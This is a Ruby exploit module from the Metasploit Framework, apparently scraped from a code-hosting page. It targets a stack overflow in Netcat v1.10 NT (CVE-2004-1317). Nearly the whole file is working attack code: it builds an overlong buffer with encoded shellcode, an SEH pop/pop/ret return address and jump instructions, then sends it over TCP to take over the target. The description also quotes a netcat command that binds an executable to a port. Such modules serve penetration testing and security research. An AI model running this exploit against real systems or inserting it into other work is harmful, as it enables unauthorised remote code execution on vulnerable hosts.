82 lines
1.9 KiB
Ruby
82 lines
1.9 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Misc::NetCat110_NT < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Netcat v1.10 NT Stack Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Netcat v1.10 NT. By sending
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an overly long string we are able to overwrite SEH. The vulnerability
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exists when netcat is used to bind (-e) an executable to a port in doexec.c.
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This module tested successfully using "c:\>nc -L -p 31337 -e ftp".
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},
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'Author' => 'patrick',
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'Arch' => [ ARCH_X86 ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '12106' ],
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[ 'CVE', '2004-1317' ],
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[ 'OSVDB', '12612' ],
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[ 'URL', 'http://www.milw0rm.com/exploits/726' ],
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 236,
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'BadChars' => "\x00\x0a\x0d",
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'StackAdjustment' => -3500,
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},
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'Platform' => ['win'],
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'Targets' =>
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[
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# Patrick - Tested OK 2007/09/26 w2ksp0, w2ksp4, xpsp2 en.
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[ 'Universal nc.exe', { 'Ret' => 0x0040a6ce } ], # p/p/r nc.exe
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],
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'DisclosureDate' => 'Dec 27 2004',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def exploit
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connect
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sploit = rand_text(277, payload_badchars)
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sploit[0, payload.encoded.length] = payload.encoded
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sploit[236, 2] = Rex::Arch::X86.jmp_short(6)
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sploit[240, 4] = [target['Ret']].pack('V')
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sploit[244, 5] = Rex::Arch::X86.jmp(0xffffff08)
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sock.put(sploit)
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handler
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disconnect
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end
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end
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end
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